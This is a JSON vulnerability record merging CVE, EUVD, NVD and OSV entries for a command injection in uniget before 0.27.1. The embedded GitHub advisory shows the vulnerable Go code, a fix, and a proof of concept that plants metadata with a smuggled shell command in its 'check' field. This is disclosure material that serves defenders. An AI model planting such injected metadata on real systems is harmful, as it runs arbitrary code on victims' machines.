{"id":"EUVD-2026-32670","revision":null,"records":[{"revision":"878850fbb7f44c928a78dcb54f7b84f3","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-45152","aliases":[],"title":"uniget: Command Injection in tool.Check Leading to Arbitrary Code Execution","description":"uniget is a universal installer and updater for (container) tools. Prior to 0.27.1, a command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c. Because the check field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as describe, install, update, or inspect are performed. This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget. This vulnerability is fixed in 0.27.1.","state":0,"publishedAt":"2026-05-27T21:05:00.99+00:00","modifiedAt":"2026-05-28T12:40:02.534+00:00","affected":[{"ecosystem":"Vendor product","name":"cli","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"uniget-org\",\n                    \"product\": \"cli\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.27.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7.8,"severity":"HIGH"}],"references":["https://github.com/uniget-org/cli/security/advisories/GHSA-qqq4-5773-pmw5"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-45152","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-45152","identifiers":["CVE-2026-45152"]},"retained":false,"historicalAffected":[]},{"revision":"a175d9d2017c46f2bdbc43d2378874d1","observedAt":"2026-10-28T06:10:48.49+00:00","statement":{"source":"euvd","id":"EUVD-2026-32670","aliases":["CVE-2026-45152","GHSA-qqq4-5773-pmw5"],"title":"uniget is a universal installer and updater for (container) tools. Prior to 0.27.1, a command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c. Because the check fiel…","description":"uniget is a universal installer and updater for (container) tools. Prior to 0.27.1, a command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c. Because the check field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as describe, install, update, or inspect are performed. This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget. This vulnerability is fixed in 0.27.1.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7.8,"severity":null}],"references":["https://github.com/uniget-org/cli/security/advisories/GHSA-qqq4-5773-pmw5"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-32670","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 27, 2026, 9:05:00 PM","dateUpdated":"May 28, 2026, 12:40:02 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-32670","identifiers":["EUVD-2026-32670","CVE-2026-45152","GHSA-qqq4-5773-pmw5"]},"retained":false,"historicalAffected":[]},{"revision":"c779acae7d7e4ae598575f5872f667d2","observedAt":"2026-10-27T11:12:23.45+00:00","statement":{"source":"nvd","id":"CVE-2026-45152","aliases":[],"title":"uniget is a universal installer and updater for (container) tools. Prior to 0.27.1, a command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c. Because the check fiel…","description":"uniget is a universal installer and updater for (container) tools. Prior to 0.27.1, a command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c. Because the check field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as describe, install, update, or inspect are performed. This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget. This vulnerability is fixed in 0.27.1.","state":0,"publishedAt":"2026-05-27T22:16:36.963+00:00","modifiedAt":"2026-10-26T12:10:00.13+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7.8,"severity":"HIGH"}],"references":["https://github.com/uniget-org/cli/security/advisories/GHSA-qqq4-5773-pmw5"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45152","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-78"],"productCriteria":[],"sourceDates":{"published":"2026-05-27T22:16:36.963","lastModified":"2026-10-26T12:10:00.130"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-45152","identifiers":["CVE-2026-45152"]},"retained":false,"historicalAffected":[]},{"revision":"859a6ae818624057bf17c2ed77f2d7f8","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-qqq4-5773-pmw5","aliases":["CVE-2026-45152","GO-2026-5590"],"title":"uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution","description":"I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism.\n\n### Summary\n\nA command injection vulnerability exists in uniget due to unsafe execution of the `check` field from metadata files using `/bin/bash -c`. Because the `check` field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as `describe`, `install`, `update`, or `inspect` are performed.\n\nThis vulnerability can lead to arbitrary code execution with the privileges of the user running uniget.\n\n### Details\n\nThe vulnerable code is located in:\n\n`tool.go:250`\n\nVulnerable function:\n\n```go id=\"f2g0ic\"\nfunc (tool *Tool) RunVersionCheck() (string, error) {\n    cmd := exec.Command(\"/bin/bash\", \"-c\", tool.Check+\" | tr -d '\\n'\")\n    version, err := cmd.Output()\n    return string(version), nil\n}\n```\n\nThe issue occurs because the `tool.Check` field is populated directly from metadata JSON files without validation.\n\nRelated structure:\n\n```go id=\"7f4yzm\"\ntype Tool struct {\n    Check string\n}\n```\n\nMetadata loading uses `json.Unmarshal()` to populate the `Tool` struct directly from JSON metadata, allowing attacker-controlled input to reach the shell execution sink.\n\nBecause `/bin/bash -c` is used, shell metacharacters such as `;`, `&&`, `|`, `$()`, and backticks are interpreted by the shell, enabling arbitrary command injection.\n\n### PoC\n\nStep 1 — Verify the vulnerable binary:\n\n```bash id=\"7k3d07\"\n/tmp/uniget-bin --version\n```\n\nOutput:\n\n```text id=\"p2gk9z\"\nuniget version main\n```\n\nStep 2 — Create malicious metadata cache:\n\n```bash id=\"j5zpr0\"\nmkdir -p ~/.local/var/cache/uniget\n\ncat > ~/.local/var/cache/uniget/metadata.json << 'EOF'\n{\n  \"tools\": [\n    {\n      \"name\": \"evil-tool\",\n      \"version\": \"1.0.0\",\n      \"binary\": \"${target}/bin/evil-tool\",\n      \"check\": \"echo '1.0.0'; id > /tmp/rce-proof.txt\",\n      \"tags\": [\"test\"],\n      \"description\": \"RCE test\",\n      \"repository\": \"https://example.com\",\n      \"license\": {\n        \"name\": \"MIT\",\n        \"link\": \"https://example.com\"\n      },\n      \"sources\": [\n        {\n          \"registry\": \"ghcr.io\",\n          \"repository\": \"uniget-org/tools\"\n        }\n      ]\n    }\n  ]\n}\nEOF\n```\n\nStep 3 — Create placeholder binary:\n\n```bash id=\"53ml7u\"\nmkdir -p ~/.local/usr/local/bin\n\ncat > ~/.local/usr/local/bin/evil-tool << 'EOF'\n#!/bin/bash\necho \"placeholder\"\nEOF\n\nchmod +x ~/.local/usr/local/bin/evil-tool\n```\n\nStep 4 — Trigger the vulnerable workflow:\n\n```bash id=\"w4j7h4\"\n/tmp/uniget-bin describe evil-tool --prefix ~/.local\n```\n\nApplication output:\n\n```text id=\"q0k54m\"\nName: evil-tool\n  Description: RCE test\n  Repository: https://example.com\n  Version: 1.0.0\n  Check: <echo '1.0.0'; id > /tmp/rce-proof.txt>\n```\n\nStep 5 — Verify arbitrary command execution:\n\n```bash id=\"w7r8z3\"\nls -la /tmp/rce-proof.txt\ncat /tmp/rce-proof.txt\n```\n\nActual output:\n\n```bash id=\"6plm7v\"\n-rw-rw-r-- 1 w4nn4d13 w4nn4d13 253 May 7 23:53 /tmp/rce-proof.txt\n\nuid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),106(bluetooth),108(lpadmin),112(kaboxer),113(wireshark),128(docker)\n```\n\n<img width=\"1107\" height=\"694\" alt=\"image\" src=\"https://github.com/user-attachments/assets/857dbec9-9e51-4676-bf90-e529ad23b9a7\" />\n\n<img width=\"1909\" height=\"631\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f4a1bac2-634e-4f67-91cb-c8684f442b4e\" />\n\n\nThis confirms arbitrary command execution through the untrusted `check` field loaded from metadata.\n\n### Impact\n\nThis issue allows arbitrary command execution on systems running uniget when processing malicious metadata.\n\nAn attacker may be able to:\n\n* Execute arbitrary shell commands\n* Exfiltrate sensitive files or environment variables\n* Install malware or backdoors\n* Modify or delete accessible files\n* Establish persistence on the victim machine\n* Compromise CI/CD environments using uniget automation\n\nAny user importing or processing attacker-controlled metadata may be impacted.\n\n### Suggested Remediation\n\nAvoid using `/bin/bash -c` with untrusted input.\n\nInstead of:\n\n```go id=\"ntxjlwm\"\nexec.Command(\"/bin/bash\", \"-c\", tool.Check+\" | tr -d '\\n'\")\n```\n\nconsider executing fixed binaries and arguments directly without invoking a shell.\n\nFor example:\n\n```go id=\"ngbkk2\"\nexec.Command(binary, \"--version\")\n```\n\nor sanitize and strictly validate allowed commands before execution.\n\nThank you for your time and for maintaining the project. Please let me know if you need any additional information or a more detailed proof of concept.","state":0,"publishedAt":"2026-05-13T15:33:10+00:00","modifiedAt":"2026-07-08T08:14:40.1882228+00:00","affected":[{"ecosystem":"Go","name":"gitlab.com/uniget-org/cli","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.27.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/uniget-org/cli/security/advisories/GHSA-qqq4-5773-pmw5","https://nvd.nist.gov/vuln/detail/CVE-2026-45152","https://github.com/uniget-org/cli","https://github.com/uniget-org/cli/releases/tag/v0.27.1"],"sourceUrl":"https://github.com/advisories/GHSA-qqq4-5773-pmw5","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-qqq4-5773-pmw5","identifiers":["GHSA-qqq4-5773-pmw5","CVE-2026-45152","GO-2026-5590"]},"retained":false,"historicalAffected":[]},{"revision":"9902707254674cb5b6fe1c40917f4a9b","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5590","aliases":["CVE-2026-45152","GHSA-qqq4-5773-pmw5"],"title":"uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution in gitlab.com/uniget-org/cli","description":"uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution in gitlab.com/uniget-org/cli","state":0,"publishedAt":"2026-06-25T22:34:34+00:00","modifiedAt":"2026-06-25T23:01:34.5082775+00:00","affected":[{"ecosystem":"Go","name":"gitlab.com/uniget-org/cli","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.27.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/uniget-org/cli/security/advisories/GHSA-qqq4-5773-pmw5","https://nvd.nist.gov/vuln/detail/CVE-2026-45152","https://github.com/uniget-org/cli/releases/tag/v0.27.1"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5590","license":"OSV · upstream source license applies","key":"osv:GO-2026-5590","identifiers":["GO-2026-5590","CVE-2026-45152","GHSA-qqq4-5773-pmw5"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-28T13:47:04.3951212+00:00","complete":true,"records":1760,"lastAttemptAt":"2026-10-28T13:47:04.3951212+00:00","lastSuccessAt":"2026-10-28T13:47:04.557439+00:00","error":null,"lastVerifiedAt":"2026-10-28T13:47:04.5574402+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-d2186f400c54d65f61687f78bb1a00d184d2e215877d0194d7ed70caee809a44-bc345ff86b03b7541c201ac3c0d3b41e3d0da548fe28cbc3ef34545c988f15f3","complete":true,"records":415987,"lastAttemptAt":"2026-10-28T13:47:03.8176723+00:00","lastSuccessAt":"2026-10-28T13:47:03.7732726+00:00","error":null,"lastVerifiedAt":"2026-10-28T13:47:03.8176723+00:00","snapshotPublishedAt":"2026-10-28T13:26:09+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-9f0807daf5ba430ba544389f9bceda91","complete":false,"records":13410,"lastAttemptAt":"2026-10-28T13:59:21.4481018+00:00","lastSuccessAt":"2026-10-28T13:59:21.444+00:00","error":"38 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-10-28T13:59:21.444+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":10962,"expectedIdentifiers":13514,"failedIdentifiers":38},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-28T13:47:04.3951212+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-28T13:47:04.3951212+00:00","lastSuccessAt":"2026-10-28T13:47:04.5587387+00:00","error":null,"lastVerifiedAt":"2026-10-28T13:47:04.558739+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-db12b589e8274cf2972c4b29de4caf76","complete":true,"records":13449,"lastAttemptAt":"2026-10-28T13:47:32.6579578+00:00","lastSuccessAt":"2026-10-28T13:47:32.655+00:00","error":null,"lastVerifiedAt":"2026-10-28T13:47:32.655+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13514,"expectedIdentifiers":13514,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-f7cb12508d9e6a348c8a60f772ed85529cc80cd2ff853da1099b57754b20e943","complete":true,"records":9790,"lastAttemptAt":"2026-10-28T13:47:04.183508+00:00","lastSuccessAt":"2026-10-27T21:49:03.9756799+00:00","error":null,"lastVerifiedAt":"2026-10-28T13:47:04.183508+00:00","snapshotPublishedAt":"2026-10-27T21:48:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-72e5e79de0026dd0562d40734074a2236a06886643d67182b8381eaee757dbf7","complete":true,"records":1966,"lastAttemptAt":"2026-10-28T13:47:03.9692273+00:00","lastSuccessAt":"2026-10-27T21:46:38.0277323+00:00","error":null,"lastVerifiedAt":"2026-10-28T13:47:03.9692273+00:00","snapshotPublishedAt":"2026-10-27T21:18:15+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-9cc0e41ed4e75d0c111bed7fd0bbcd4f139c80cc1fc67f8c3d9a33a41da846ad","complete":true,"records":3002,"lastAttemptAt":"2026-10-28T13:47:04.2866438+00:00","lastSuccessAt":"2026-10-28T10:33:32.3653779+00:00","error":null,"lastVerifiedAt":"2026-10-28T13:47:04.2866438+00:00","snapshotPublishedAt":"2026-10-28T09:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-f92980e1a2866a0bbb15861ebe30c8abcc7b7c0ec47586c9330b69d90fe53774","complete":true,"records":230857,"lastAttemptAt":"2026-10-28T13:47:04.0756042+00:00","lastSuccessAt":"2026-10-28T12:29:02.8654193+00:00","error":null,"lastVerifiedAt":"2026-10-28T13:47:04.0756042+00:00","snapshotPublishedAt":"2026-10-28T11:33:00+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}